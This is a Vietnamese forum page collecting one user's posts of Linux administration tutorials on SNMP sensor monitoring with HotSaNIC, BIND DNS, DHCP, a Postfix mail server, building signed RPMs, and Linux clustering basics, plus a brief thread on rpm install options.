banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Messages posted by: tranvanminh  XML
Profile for tranvanminh Messages posted by tranvanminh [ number of posts not being displayed on this page: 7 ]
 
Sơ luợt về SNMP

1. SNMP (UDP) lấy thông tin từ MIB(Management Information Base) để xuất ra rất nhiều thông tin cho bạn ... như là fan speed , traffic , disk I/O , server load , prosess load tree , vv... thông thường chủ yếu chia thành 2 giao thức , thứ nhất là agent , 2 là manager

các thông tin dùng Protocol Data Units hoạt động

thông tin giao thức từ manager đến agent

GetRequest - > GetNextRequest - > SetRequest

từ agent qua manager

GetResponse - > Trap

sau đó nếu system có vấn đề snmp dùng Trap để báo các sự cố cho bạn (qua mail, ĐTDD vv..)

0 GetRequest - > 1 GetNextRequest - > 2 GetResponce - > 3 SetRequest#6699FF - > 4 Trap

tiện một cái là hiện giờ có rất nhiều tool lấy data từ SNMP ra , change interface qua đồ hoạ , các chương trình hiện có khá đẹp mắt cho người dùng , điễn hình : RRDTOOL , HotSaniC ...
là một admin của hệ thống Linux chắc chắn SNMP sẻ là một lợi thế quản lý "24×364 system"


2 :Chương trình cần thiết để cấu hình

======================
RRDtool
http://people.ee.ethz.ch/~oetiker/webtools/rrdtool/
RPM
http://dag.wieers.com/packages/rrdtool/
======================
HotSaNIC
http://hotsanic.sourceforge.net/
RPM
http://freshmeat.net/projects/xqf/?branch_...elease_id=38761
======================
SNMP
http://atrpms.physik.fu-berlin.de/name/lm_sensors/
RPM
http://sourceforge.net/project/showfiles.php?group_id=12694
======================
lm_sensors-
http://www2.lm-sensors.nu/~lm78/index.html
RPM
http://atrpms.physik.fu-berlin.de/name/lm_sensors/
======================

3 :Bắt đầu cài đặt và cấu hình

Đầu tiên nên cài lm_sensors.

Cài đặt

rpm -Uvh lm_sensors-2.8.4-0_21.rhfc1.at.i386.rpm

警告: lm_sensors-2.8.4-0_21.rhfc1.at.i386.rpm: V3 DSA signature: NOKEY, key ID 66534c2b
Preparing... ########################################### [100%]
1:lm_sensors ########################################### [100%]

chú ý : truớc khi bạn dùng lm_sensors , bạn hãy gé thăm site duới đây để check chip của bạn có đuợc hổ trợ hay không .

http://secure.netroedge.com/~lm78/supported.html


Sau khi hoàn tất , gỏ lệnh sau
/usr/sbin/sensors-detect


This program will help you determine which I2C/SMBus modules you need to
load to use lm_sensors most effectively. You need to have i2c and
lm_sensors installed before running this program.
Also, you need to be `root`, or at least have access to the /dev/i2c-*
files, for most things.
If you have patched your kernel and have some drivers built in, you can
safely answer NO if asked to load some modules. In this case, things may
seem a bit confusing, but they will still work.

We can start with probing for (PCI) I2C or SMBus adapters.
You do not need any special privileges for this.
Do you want to probe now? (YES/no):
Probing for PCI bus adapters...
Use driver `i2c-viapro` for device 00:07.4: VIA Technologies VT82C686 Apollo ACPI
Probe succesfully concluded.

We will now try to load each adapter module in turn.
Load `i2c-viapro` (say NO if built into your kernel)? (YES/no):
 


sau khi cài đặt xong , chương trình sẻ yêu cầu bạn chèn thêm modules vào file /etc/modules.conf .
sau khi chèn xong , copy link sang /etc/rc.d/init.d .

Khởi động lm_senors
# /etc/rc.d/init.d/lm_sensors start



Starting up sensors: starting module __i2c-viapro__
starting module __i2c-isa__
starting module __lm80__
starting module __eeprom__
starting module __via686a__
starting module __bmcsensors__
[ OK ]
 


Gỏ lệnh senors bạn sẻ thấy các thông tin như sau

# sensors


lm80-i2c-0-2d
Adapter: SMBus Via Pro adapter at 8100
+5V: +3.37 V (min = +5.53 V, max = +0.00 V) ALARM
VTT: +1.25 V (min = +1.90 V, max = +1.67 V) ALARM
+3.3V: +2.62 V (min = +3.13 V, max = +3.46 V) ALARM
+Vcore: +3.14 V (min = +1.80 V, max = +1.99 V) ALARM
+12V: +13.20 V (min = +11.37 V, max = +12.57 V)
-12V: -3.87 V (min = -12.64 V, max = -11.43 V)
-5V: -0.92 V (min = -5.27 V, max = -4.78 V)
fan1: 10629 RPM (min = 6000 RPM, div = 1) ALARM
fan2: 7988 RPM (min = 6783 RPM, div = 1)
temp: +127.00°C (hot: limit = +6°C, hyst = -82°C) ALARM
: (os: limit = -92°C, hyst = -31°C) ALARM
alarms: Board temperature input (LM75) ALARM
alarms: Chassis intrusion detection ALARM

eeprom-i2c-0-50
Adapter: SMBus Via Pro adapter at 8100
Memory type: SDR SDRAM DIMM
Memory size (MB): 128

eeprom-i2c-0-51
Adapter: SMBus Via Pro adapter at 8100

Memory type: SDR SDRAM DIMM
Memory size (MB): 128

eeprom-i2c-0-52
Adapter: SMBus Via Pro adapter at 8100
Memory type: SDR SDRAM DIMM
Memory size (MB): 256

eeprom-i2c-0-56
Adapter: SMBus Via Pro adapter at 8100
Memory type: DRDRAM RIMM
Memory size (MB): invalid (4 9 0 176)

via686a-isa-6800
Adapter: ISA adapter
CPU core: +1.79 V (min = +1.98 V, max = +2.49 V) ALARM
+2.5V: +2.53 V (min = +2.36 V, max = +2.25 V) ALARM
I/O: +3.32 V (min = +2.14 V, max = +2.86 V) ALARM
+5V: +5.07 V (min = +4.92 V, max = +3.01 V) ALARM
+12V: +12.22 V (min = +4.01 V, max = +10.79 V) ALARM
CPU Fan: 3994 RPM (min = 3000 RPM, div = 2)
P/S Fan: 0 RPM (min = 3000 RPM, div = 2)
SYS Temp: +23.8°C (high = +45°C, hyst = +40°C)
CPU Temp: +22.4°C (high = +60°C, hyst = +55°C)
SBr Temp: +20.6°C (high = +65°C, hyst = +60°C)
 



5:Cài đặt SNMP

#

rpm -ivh ucd-snmp-4.2.3-1vl1.i386.rpm


ucd-snmp ##################################################
#

rpm -ivh ucd-snmp-devel-4.2.3-1vl1.i386.rpm


ucd-snmp-devel ##################################################
#

rpm -ivh ucd-snmp-utils-4.2.3-1vl1.i386.rpm


ucd-snmp-utils ##################################################


Cấu hình SMMP như sau trong file /etc/snmp/snmpd.conf



####

com2sec local localhost private
# server de view data va pass , o day toi dac pass la home
com2sec mynetwork 192.168.0.0/24 home

group MyRWGroup v1 local
group MyRWGroup v2c local
group MyRWGroup usm local
group MyROGroup v1 mynetwork
group MyROGroup v2c mynetwork
group MyROGroup usm mynetwork

view all included .1 80

access MyROGroup ```` any noauth exact all none none
access MyRWGroup ```` any noauth exact all all all

#tuy theo system cua ban , co le phan it87-isa-0290 se khong dung nhu toi config , neu khong dung thi edit path lai .

exec temp1 /bin/cat /proc/sys/dev/sensors/it87-isa-0290/temp2
exec temp2 /bin/cat /proc/sys/dev/sensors/it87-isa-0290/temp1
#disk / 10000

# phan data disk , chac cac ban deu dung nhu la /dev/hda /dev/sda vv ... edit lai luon .
disk / 5%
disk /export/hd1 5%


syslocation Asus Terminator TU
# co the chen email cua ban
syscontact root

 



6: Cài đặt RRDTOOL

#

rpm -ivh ./rrdtool-1.0.40-1.7.2j.rpm


rrdtool ##################################################
#

rpm -ivh ./rrdtool-devel-1.0.40-1.7.2j.i386.rpm


rrdtool-devel ##################################################
# ldconfig <-- khoi cung duoc


6 : INSTALL HOTSANIC

# cd /usr/local

# tar zxfv HotSaNIC-0.4.0.tgz

# cd HotSaNIC

# ./setup.pl

Các option khi chạy script setup.pl


SENSORS = để chạy lm_sensors ○
PART = Disk free ○
TRAFFIC = Network traffic ○
DISKIO = Disk Ì/O/O ○
SYSTEM =CPU ,MEM, vv... ○
DNET = không biết ×
PING =pingchecker ×
NETWORK =xem info cũa 1 host nào đó ×
iptables = isntall iptables ×
WORMS = không cần × 



Sữa file /usr/locall/HotSanic/settings

BINPATH=``not configured`` - > BINPATH=``/usr/bin`` ##bin path của RRDtool
WEBDIR=``not configured``- > WEBDIR=``/home/httpd/html/rrdtool`` ``xuất file vô dir nào``
IMAGEFORMAT=``gif`` - > IMAGEFORMAT=``png`` (png cho nhẹ)


Setting sensors


Mở file
/usr/local/HotSaNIC/data-sensors/settings

thêm vào

SENSOR=/proc/sys/dev/sensors/it87-isa-0290/temp1,cputemp,CPU temp,3,1,0,度
SENSOR=/proc/sys/dev/sensors/it87-isa-0290/temp2,mbtemp,MB temp,3,1,0,度

setting part

/usr/local/HotSaNIC/data-part/settings
them vào
DRIVE=filesystemmount


setting DISKIO

cat /proc/stat
disk_io: (3,0)smilie471176,92636,3013450,378540,12126724) (3,1)smilie97807,54960,757450,42847,3364496)

/usr/local/HotSaNIC/data-diskio/settings

DEV=3_0,hda
DEV=3_1,hdb

demo setting files

http://network.dynsite.net/minh/hotsanicco...rs-settings.txt
http://network.dynsite.net/minh/hotsanicco...io-settings.txt
http://network.dynsite.net/minh/hotsanicco...rt-settings.txt
http://network.dynsite.net/minh/hotsanicco...em-settings.txt
http://network.dynsite.net/minh/hotsanicco...ic-settings.txt

# Sau cùng

Dùngcác lệnh sau để make cài đặt hotsanic , và start hotsanic .

1: /usr/local/HotSaNIC/makeindex.pl
2: /usr/local/HotSaNIC/rrdtimer -i
3:/usr/local/HotSaNIC/rrdgraph start
4:/usr/local/HotSaNIC/diagrams
5:/usr/local/HotSaNIC/convert.pl


Chú ý : Default HostSanic lấy data (DISK , CPU , Traffic ....) từ SNMP một luợt , và trong một thời gian ngắn (10sec lấy một lần ) , do đó bạn nên config lại thời gian lấy data từ SNMP .

Mỏ file rrdtimer cũa HostSanic và kếm tới section sau , và edit đoạn có COLOR màu vàng thành con số thích họp (sec) .


Code:
######################################################################
#
# the main loop executes all timed scripts:
#
# data-*/read-data every > =10 sec. (hardcoded)
# data-*/diagrams every $DTIME
# convert() every $CTIME if $CONVERTMETHOD is other than ``HTML``
# scan_for_modules() every $STIME
#
sub main_loop {
my ($DAEMONDIR,$WEBDIR,$CTIME,$CONVERTMETHOD,$DTIME,$STIME,$LOGSI
ZE,$LOGBACKUPS,$debuglevel,$parallel,$RUN,$SHOW)=@_;
my ($now,$last,$lastscan,$lastdiagram,$lastconvert,@modules);
$now=time;
$last=$now-100;
$lastscan=$now;
$lastdiagram=int($now/$DTIME)*$DTIME;
$lastconvert=int($now/$CTIME)*$CTIME;
@modules=scan_for_modules($DAEMONDIR,$debuglevel,$RUN);
initialize_modules($DAEMONDIR,@modules);
while () {
$now=time;
if ($last[color=yellow]+100[/color] <= $now) {
if ($debuglevel > 0) { print $now,``: main loop running ``; }
# scan directory for rrdgraph-modules.
#
if ($lastscan+$STIME <= $now) {
@modules=scan_for_modules($DAEMONDIR,$debuglevel,$RUN);
$lastscan=$now;
if ($debuglevel < 0) { logrotate($LOGDIR,$LOGSIZE,$LOGBACKUPS,$debuglevel); }
}



demo

http://anipro.vanouwerkerk.nl/
http://anipro.vanouwerkerk.nl/system/load.html
http://anipro.vanouwerkerk.nl/netstat/connections.html
http://anipro.vanouwerkerk.nl/netstat/connections.html


777
Xem các bài viết về giới thiệu tổng quát về linux tại
http://hvaonline.net/hvaonline/posts/list/110.html

Hệ thống - dịch vụ DNS

Nội dung

1. Giới thiệu
2. Cấu hình DNS (bind version 9)
* Caching name server
* Authoritative DNS server và zone file
* Master, slave server
3. Tham khảo

Giới thiệu

Bài viết này giới thiệu cách dùng bind để cấu hình DNS cho máy Linux. Chú ý rằng cấu hình bind (named.conf và zone file) không phụ thuộc vào hệ điều hành, có thể dùng những file cấu hình này cho những HĐH khác ngoài Linux. Cấu hình này đã được kiểm tra trên Linux (RH 9, FC 1, TSL 2.1), FreeBSD (R-5.1) và Solaris (8).

Chú ý: đây là cấu hình không chroot. Xem bind-chroot phần "Tham khảo, thông tin thêm".

Bắt đầu viết: tháng 5 năm 2003.
Thay đổi lần cuối vào lúc: Sun Feb 1 12:47:44 JST 2004.

Cài đặt và cấu hình
Phần 1: Cài đặt

Compile từ source (xem http://www.isc.org/index.pl?/sw/bind/), hoặc dùng binary gói sẵn cho mỗi distro.
Riêng cho người dùng FC:

###--------------------------------------------------------------
// từ RPM
rpm -ivh bind-version***.rpm
rpm -ivh caching-nameserver-version***.rpm

// đang nối Internet
yum install bind caching-nameserver
###------------------------------------------------------------- 


Riêng cho người dùng Trustix

swup --install bind caching-nameserver

==================

http://hvaonline.net/hvaonline/posts/list/2183.html
http://hvaonline.net/hvaonline/posts/list/2184.html
http://hvaonline.net/hvaonline/posts/list/2185.html


Nguồn : http://james.dyndns.ws/index.php
James Nguyen.
Nội dung

1. Giới thiệu
2. Cấu hình DHCP
3. Tham khảo

Giới thiệu

Cấu hình DHCP

Soạn file cấu hình /etc/dhcpd.conf

ddns-update-style interim;
ignore client-updates;

subnet 172.16.0.0 netmask 255.240.0.0 {
# default gateway
option routers 172.31.255.254;

option subnet-mask 255.240.0.0;
option nis-domain "nis-domain";
option domain-name "domain.name";
option domain-name-servers ns1.domain.name, ns2.domain.name;
# ntp server, nếu có
# option ntp-servers 172.16.0.2;

# dành 100 địa chỉ IP cho DHCP client
range dynamic-bootp 172.30.255.1 172.30.255.100;
default-lease-time 7200;
max-lease-time 18000;

# những máy luôn nhận IP cố định
host duyendang {
hardware ethernet 08:00:20smiliexsmiliexsmiliex;
fixed-address 172.31.0.1;
}
host xinhxinh {
hardware ethernet 00:03:93smiliexsmiliexsmiliex;
fixed-address 172.31.0.2;
option host-name "xinhxinh";
}


Xong khởi động dhcpd

# /etc/init.d/dhcpd start

Ví dụ về script khởi động /etc/init.d/dhcpd (của FC1)

#!/bin/sh
#
# dhcpd This script takes care of starting and stopping
# dhcpd.
#
# chkconfig: - 65 35
# description: dhcpd provide access to Dynamic Host Control Protocol.

# Source function library.
. /etc/rc.d/init.d/functions

# Source networking configuration.
. /etc/sysconfig/network
. /etc/sysconfig/dhcpd

# Check that networking is up.
[ ${NETWORKING} = "no" ] && exit 0

[ -f /usr/sbin/dhcpd ] || exit 0
[ -f /etc/dhcpd.conf ] || exit 0
[ -f /var/lib/dhcp/dhcpd.leases ] || touch /var/lib/dhcp/dhcpd.leases

RETVAL=0
prog="dhcpd"

configtest()
{
local retval TEMP=/tmp/dhcpd$$.err

/usr/sbin/dhcpd -t 2>$TEMP
retval=$?
if [ $retval -ne 0 ]
then
cat $TEMP
rm -f $TEMP
fi

return $retval
}

start() {
# Start daemons.
echo -n $"Starting $prog: "
daemon /usr/sbin/dhcpd ${DHCPDARGS}
RETVAL=$?
echo
[ $RETVAL -eq 0 ] && touch /var/lock/subsys/dhcpd
return $RETVAL
}

stop() {
# Stop daemons.
echo -n $"Shutting down $prog: "
killproc dhcpd
RETVAL=$?
echo
[ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/dhcpd
return $RETVAL
}

# See how we were called.
case "$1" in
start)
start
;;
stop)
stop
;;
restart|reload)
configtest || exit $?
stop
start
RETVAL=$?
;;
condrestart)
if [ -f /var/lock/subsys/dhcpd ]; then
stop
start
RETVAL=$?
fi
;;
configtest)
configtest
RETVAL=$?
;;
status)
status dhcpd
RETVAL=$?
;;
*)
echo $"Usage: $0 {start|stop|restart|condrestart|configtest|status}"
exit 1
esac

exit $RETVAL 


Tham khảo

1. /usr/share/doc/dhcp-x.x.x/dhcpd.conf.sample
2. man dhcpd.conf

Nguồn : http://james.dyndns.ws/index.php
James Nguyen.
Theo dõi maillog

bằng pflogsumm

http://jimsun.linxnet.com/postfix_contrib.html


Kiểm tra open relay

* http://www.abuse.net/relay.html
* http://spamlart.homeunix.org/
* http://www.ordb.org/submit/
* http://members.iinet.net.au/~remmie/relay/
Nguồn : http://james.dyndns.ws/index.php
Tác giả : James Nguyen

Nội dung

1. Giới thiệu
2. Cài đặt, cấu hình cơ bản
3. Mở rộng, nâng cao
4. Tham khảo

Giới thiệu

Postfix là một MTA (Mail Transport Agent), được viết bởi Wietse Venema khi ông đang làm việc ở trung tâm nghiên cứu T. J. Watson của IBM. Đặc điểm của Postfix: dễ quản lý, nhanh, an toàn. Chỉ cần một server với hardware thông thường, Postfix có thể chuyển giao hàng triệu email một ngày (đọc ở đâu quên rồi, sẽ tìm URL bổ sung sau).
Bài viết này giới thiệu cách dùng Postfix để dựng một mail server trong Linux.

Bắt đầu viết: tháng 5 năm 2003.
Thay đổi lần cuối vào lúc: Sun Feb 1 12:47:44 JST 2004.

Cài đặt và cấu hình

Nhiều distro đóng gói kèm theo Postfix. Nói chung việc cài đặt Postfix khá đơn giản và nhanh chóng. Ở đây chỉ giới thiệu cách cài đặt từ gói RPM.

// tải postfix RPM từ http://rpmfind.net, sau đó cài đặt bằng lệnh
# rpm -ivh postfix-***.i386.rpm

// trong Fedora, có thể cài đặt bằng yum
# yum install postfix

// cách cài đặt trong Trustix
# swup --install postfix

Những file cấu hình của Postfix nằm trong thư mục /etc/postfix. Để cấu hình một mail server cơ bản, chỉ cần vài thay đổi nhỏ trong những file sau đây

/etc/postfix/aliases: thông tin về user
/etc/postfix/main.cf: cấu hình cơ bản

Trước hết, chỉ định người nhận mail cho account root. Tìm trong file aliases dòng bắt đầu bằng "root" và chuyển mail đến người nhận thích hợp (giả sử chuyển cho james)

// chuyển tất cả mail đến root cho james
root: james

// update thông tin của aliases database, gõ lệnh
# /usr/bin/newaliases

Tiếp đến, ghi những thông tin về mail server vào file main.cf

// tên máy chủ, thay đổi cho thích hợp
myhostname = mail.domain.name

// nếu máy chủ gửi nhận mail cho cả domain
mydomain = domain.name

// nhận mail đến interface nào?
inet_interfaces = all

// chỉ nhận mail đến domain của tôi
mydestination = $myhostname, localhost.$mydomain, $mydomain

// địa chỉ mạng riêng
mynetworks = 127.0.0.0, 172.16.0.0/12

// máy này không phải là OPEN RELAY SERVER!!!
relay_domains = $mydestination

Đến lúc này, Postfix đã sẵn sàng hoạt động một cách an toàn. Tiếp theo hãy chuẩn bị khởi động Postfix với những thao tác sau đây.

Kiểm tra xem máy chủ có MTA nào khác đang hoạt động hay không, nếu có hãy tắt MTA đó.

Khởi động Postfix

# /etc/init.d/postfix start

// để postfix tự khởi động mỗi lần bật máy
# chkconfig --level 3 postfix on

Bây giờ đến lúc kiểm tra lại

$ telnet localhost 25
// sẽ thấy những dòng sau đây
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 mail.domain.name ESMTP Postfix

// Xong rồi, logout thôi, gõ
quit

// sẽ thấy
221 Bye
Connection closed by foreign host. 


Gửi thử một cái mail

// tạo một file testmail.txt với nội dung tùy ý
$ touch testmail.txt
$ vi testmail.txt, gõ vào "Hello, World"


// dùng chương trình mailx gửi mail cho root
// chú ý: mail này sẽ được chuyển đến user james (xem phần aliases)
$ mail root < testmail.txt

// xong kiểm tra log (file /var/log/maillog)
// và kiểm tra hộp mail của james

Chú ý: theo mặc định, Postfix chuyển mail đến Mailbox. Mailbox là kiểu lưu giữ tất cả các mail trong một file (thường ở thư mục /var/spool/mail). Khác với Mailbox, Maildir là kiểu lưu giữ mỗi mail thành một file riêng (tất cả đặt trong thư mục /home/user/Maildir). Bạn cần biết đặc điểm (ưu, khuyết điểm) của mỗi cách và chọn cho mình cách thích hợp. Sẽ có bài viết về vấn đề này.

Cấu hình để Postfix chuyển mail đến Maildir: tìm dòng home_mailbox trong file main.cf, sửa lại như sau

# không dùng kiểu mặc định
# home_mailbox = Mailbox
# thích kiểu Maildir hơn
home_mailbox = Maildir/

Sau đó tạo hộp thư

// chỉ tạo hộp thư cho user james
$ mkdir $HOME/Maildir
$ mkdir $HOME/Maildir/cur
$ mkdir $HOME/Maildir/new
$ mkdir $HOME/Maildir/tmp
$ chmod -R 700 $HOME/Maildir


// tạo hộp thư cho tất cả user: ghi vào /etc/skel
$ su -
# mkdir /etc/skel/Maildir
# mkdir /etc/skel/Maildir/cur
# mkdir /etc/skel/Maildir/new
# mkdir /etc/skel/Maildir/tmp
# chmod -R 700 /etc/skel/Maildir


Đến đây có thể dùng Postfix được rồi. Tuy nhiên, để có được một mail server như ý muốn, hãy còn rất nhiều công việc phía trước. Xem thêm phần "Mở rộng và thông tin thêm".

Mở rộng, thông tin thêm

1. Cho phép gửi mail từ những máy không thuộc relay_domains: SMTP AUTH, POP BEFORE SMTP
2. Nên dùng Mailbox hay Maildir?
http://www.courier-mta.org/mbox-vs-maildir/
3. Ngăn chặn, lọc thư rác (spam)
4. Quét virus kèm theo mail
5. Mã hóa: giải pháp TLS (Transport Layer Security)
6. Làm mailing list
7. Những thay đổi khác: tất cả những cấu hình của Postfix và giá trị mặc định (default) được ghi trong file /etc/postfix/main.cf.default. Tùy theo yêu cầu trong mỗi trường hợp, hãy thay đổi những giá trị mặc định đó.
Chú ý: mọi thay đổi phải được ghi vào file main.cf, không sửa trực tiếp lên file main.cf.default!

* gửi toàn bộ lỗi, cảnh báo cho postmaster
notify_classes = delay, policy, protocol, resource, software
* yêu cầu client phải gửi lệnh HELO (EHLO)
smtpd_helo_required = yes
smtpd_helo_restrictions = permit_mynetworks, reject_invalid_hostname
* không muốn bị scan bằng VRFY
disable_vrfy_command = yes
* giới hạn kích cỡ mỗi e-mail là 2 MiB
message_size_limit = 2048000
* muốn tất cả địa chỉ e-mail đều được chuyển thành dạng @domain.name trước khi gửi đi
masquerade_domains = domain.name 


Tham khảo

1. http://www.postfix.org
2. /usr/share/doc/postfix-version/*
3. hỏi Google smilie



-------------------

http://vnhacker.org/hvaonline/posts/list/2550.html
http://vnhacker.org/hvaonline/posts/list/2551.html
http://vnhacker.org/hvaonline/posts/list/2552.html
http://vnhacker.org/hvaonline/posts/list/2553.html
http://vnhacker.org/hvaonline/posts/list/2554.html
Mục lục

* Giới thiệu
* Chuẩn bị, cấu hình
* Tạo chữ ký điện tử cho RPM
* Build RPM

Giới thiệu
Tác giả (James) có nhu cầu xây dựng riêng các gói RPM để tối ưu cho máy chủ của mình. Việc làm RPM thực chất là làm file spec và tạo một số patch (nếu cần thiết). Tuy nhiên để build được rpm, còn phải chuẩn bị một số cấu hình khác. Tác giả ghi lại trong bài này những chuẩn bị cần thiết đó.

Chuẩn bị directory và file cấu hình
Các máy Linux thuộc hệ RH đều có sẵn một directory cho việc làm RPM, đó là /usr/src/redhat. Quyền viết (write permission) vào /usr/src/redhat thuộc về người quản trị (root account), tuy nhiên tác giả không thích dùng quyền root cho những việc không cần thiết đến root. Thực tế cũng có nhiều người sử dụng máy Linux muốn tự làm RPM nhưng không có quyền root.

Do đó ở đây chỉ dùng đến quyền hạn của một người dùng bình thường (normal user), người dùng này có toàn bộ quyền đọc và viết trong home directory của chính họ, giả sử là $HOME (thường là /home/username/).

1. Bước 1: tạo directory


$ mkdir $HOME/rpmbuild
$ mkdir $HOME/rpmbuild/BUILD
$ mkdir $HOME/rpmbuild/RPMS
$ mkdir $HOME/rpmbuild/SOURCES
$ mkdir $HOME/rpmbuild/SPECS
$ mkdir $HOME/rpmbuild/SRPMS
$ mkdir $HOME/rpmbuild/RPMS/i386
$ mkdir $HOME/rpmbuild/RPMS/noarch 


2. Bước 2: chuẩn bị file cấu hình $HOME/.rpmmacros với nội dung như sau

%_topdir /home/username/rpmbuild 


### dòng này chỉ rằng, tất cả RPM của mọi architecture (như i386, i686, athlon,...) sẽ nằm chung một directory
%_build_name_fmt %%{NAME}-%%{VERSION}-%%{RELEASE}.%%{ARCH}.rpm

%packager User Name <email -at- domain -dot- name>
### chữ kí điện tử
%_signature gpg
%_gpg_path /home/username/.gnupg
%_gpg_name User Name <email@domain.name> 


3. Bước 3 (option): Tạo chữ kí điện tử

$ gpg --gen-key
$ gpg --armor --export UserName > RPM-GPG-KEY-UserName.txt 


Build RPM

$ cd $HOME/rpmbuild
$ rpmbuild --ba --sign --target i686 SPECS/software.spec 


Tham khảo

* Tác giả đã xem FAQ về cách build rpm without root privilege khi làm courier-imap RPM cho FC. http://www.courier-mta.org/?FAQ.html~rpm
* Những cấu hình chi tiết, đọc thêm ở /usr/lib/rpm/macros

Nguồn : http://james.dyndns.ws/index.php
Tác giả : James Nguyen

godvn wrote:

777 wrote:

hackermientay wrote:

MrMe wrote:

Để cài ứng dụng có dạng rpm thì dùng lệnh rpm -Uvh tenUngDung.rpm
 

Hình như lệnh trên là rpm -ivh ungdung.rpm mà, tham số -Uvh cũng dc sao smilie 



-i là install -U là upgrade(chắc vậy) .
cho nên nếu install thì cứ sài U vì nếu không có package thì nó vẫn install cho mình , upgrade cũng sài U luôn cho chắc 8) 

Chính xác là như vậy, nếu cài gói rpm thì lệnh là -ivh còn update là -Uvh, nhung theo mình không phải bất cứ Hê điều hành Linux nào cũng dùng gói rpm để cài các ứng dụng đâu. 


Không phải chúng ta đang nói về mandrake sao ?
hình như cũng dùng rpm chứ ?
Căn bản là như Mr.Khoai đã nói như trên
thông thường cách cài đặt tương đối giống nhau , nhưng cũng có nhiều cái hơi vòng vo cho nên cách nhanh nhất là đọc file README và INSTALL .

hackermientay wrote:

MrMe wrote:

Để cài ứng dụng có dạng rpm thì dùng lệnh rpm -Uvh tenUngDung.rpm
 

Hình như lệnh trên là rpm -ivh ungdung.rpm mà, tham số -Uvh cũng dc sao smilie 



-i là install -U là upgrade(chắc vậy) .
cho nên nếu install thì cứ sài U vì nếu không có package thì nó vẫn install cho mình , upgrade cũng sài U luôn cho chắc 8)
Công nghệ clustering trên Linux

Hiện nay công nghệ clustering được dùng rộng rãi cho các hệ thống cần độ sẵn sàng phục vụ cao. Các nhà cung cấp lớn đều có các giải pháp clustering của mình. Các giải pháp clustering trên Linux được đặc biệt quan tâm do tính kinh tế, khả nǎng dịch vụ cao, và đa dạng.

Khái niệm clustering có nghĩa khác nhau trong các ngữ cảnh khác nhau. Clustering bao gồm có hai hướng chính là:

- Clustering cho tính toán (chẳng hạn Beowulf): kết hợp sử dụng nhiều máy để tǎng sức mạnh tính toán, kiểu này thường được áp dụng cho các công việc đòi hỏi tính toán chuyên sâu. Mô hình clustering này được dùng cho các dự án khoa học trong các lĩnh vực thiên vǎn, hạt cơ bản, mô tả bản đồ gien, y học...

- Khả nǎng sẵn sàng phục vụ cao (High Availability - HA): sử dụng nhiều công nghệ khác nhau nhằm đạt được mức tin cậy đặc biệt về dịch vụ khi gặp sự cố. Ví dụ như các nhà cung cấp dịch vụ Internet ISP cần phải đảm bảo dịch vụ không gián đoạn 24/7/365.

Ta không nên lẫn lộn về khái niệm giữa công nghệ clustering trong tài liệu này với thuật ngữ khả nǎng chịu đựng sai sót (fault-tolerance). Các hệ thống chịu đựng sai sót sử dụng phần cứng chuyên dụng cao (với giá thành rất cao) để cung cấp một môi trường dư độ tin cậy đảm bảo cho các dịch vụ có thể hoạt động trơn tru mà không bị dừng bởi một vài lỗi nhỏ. Các hệ thống Linux có khả nǎng phục vụ cao được thiết kế để chạy trên các phần cứng thông dụng để đạt khả nǎng sẵn sàng cao tiệm cận khả nǎng sẵn sàng cao của các hệ thống có khả nǎng chịu đựng sai sót với chi phí thấp hơn vài lần.

Các hệ thống Linux clustering dựa trên các cấu hình dùng hai công nghệ nền tảng là dùng máy dự phòng khi gặp lỗi (Fail Over Service - FOS) và Server ảo Linux (Linux Virtual Server-LVS). Việc lựa chọn FOS hay LVS làm công nghệ nền cho máy chủ Linux có khả nǎng phục vụ cao sẽ làm ảnh hưởng tới các yêu cầu về phần cứng và các dịch vụ có thể được hỗ trợ. Ta hãy thử xem qua một vài ví dụ về cấu hình và xem xét mức độ liên quan của chúng.

Các cấu hình FOS

Máy chủ Linux có khả nǎng phục vụ cao dựa trên FOS gồm hai hệ thống hoạt động trên nền hệ điều hành Linux. Mỗi một hệ thống phải được đảm bảo cung cấp đủ về mặt cấu hình để có thể hỗ trợ đủ tải cho các dịch vụ. Điều này là cần thiết, bởi vì tại bất kỳ thời điểm nào, chỉ có duy nhất một hệ thống (nút active) là cung cấp dịch vụ cho khách hàng của bạn.

- Trong quá trình khởi tạo cấu hình của một cluster FOS, một hệ thống sẽ được coi là nút chính (primary node), và hệ thống kia sẽ được gọi là nút sao lưu (backup node). Sự khác biệt này được tạo ra để xác định hệ thống nào sẽ được khai báo là active để cả hai hệ thống sẽ tự tìm kiếm trạng thái hoạt động tại cùng một thời điểm. Trong trường hợp đó, nút chính sẽ ``chiến thắng``.

Nút đang hoạt động (active node) sẽ đáp lại các yêu cầu về dịch vụ thông qua một địa chỉ IP ảo (Virtual IP hay VIP). Địa chỉ VIP là một địa chỉ IP và nó chỉ khác so với địa chỉ IP thông thường của một nút đang hoạt động.

Hệ thống khác (nút không hoạt động) không trực tiếp chạy dịch vụ, thay vào đó nó quản lí các dịch vụ của nút đang hoạt động, và đảm bảo chắc chắn là nút đang hoạt động vẫn phải đang còn hoạt động. Nếu nút không hoạt động phát hiện ra 1 vấn đề nào đó với hoặc là nút hoạt động hoặc dịch vụ đang chạy trên nó, thì một thông báo lỗi sẽ được khởi tạo.

Khi có lỗi, các bước sau sẽ được thực hiện:

- Nút đang hoạt động sẽ trực tiếp ngắt hết các dịch vụ đang chạy (nếu nó đang chạy và vẫn còn đang kết nối mạng)
- Nút không hoạt động sẽ khởi động các dịch vụ
- Nút đang hoạt động sẽ ngắt không sử dụng địa chỉ VIP (nếu nó vẫn đang chạy hoặc còn đang nối mạng)
- Nút không hoạt động bây giờ lại chuyển thành nút đang hoạt động, và ở chế độ sử dụng địa chỉ VIP
- Nếu nó vẫn còn đang chạy và đang kết nối mạng, nút trước kia là đang hoạt động thì bây giờ trở thành không hoạt động, bắt đầu giám sát các dịch vụ và nói chung thực hiện đầy đủ các chức nǎng của một nút đang hoạt động.

Hãy xem các cấu hình FOS cơ bản nhất:

Một cấu hình FOS cơ bản

Hình 1, là một cấu hình đơn giản FOS minh hoạ một máy chủ Linux cluster có khả nǎng phục vụ cao. Trong trường hợp này, nút đang hoạt động cung cấp các dịch vụ về Web và FTP, trong khi nút không hoạt động quản lý nút đang hoạt động và các dịch vụ đang chạy trên nó.

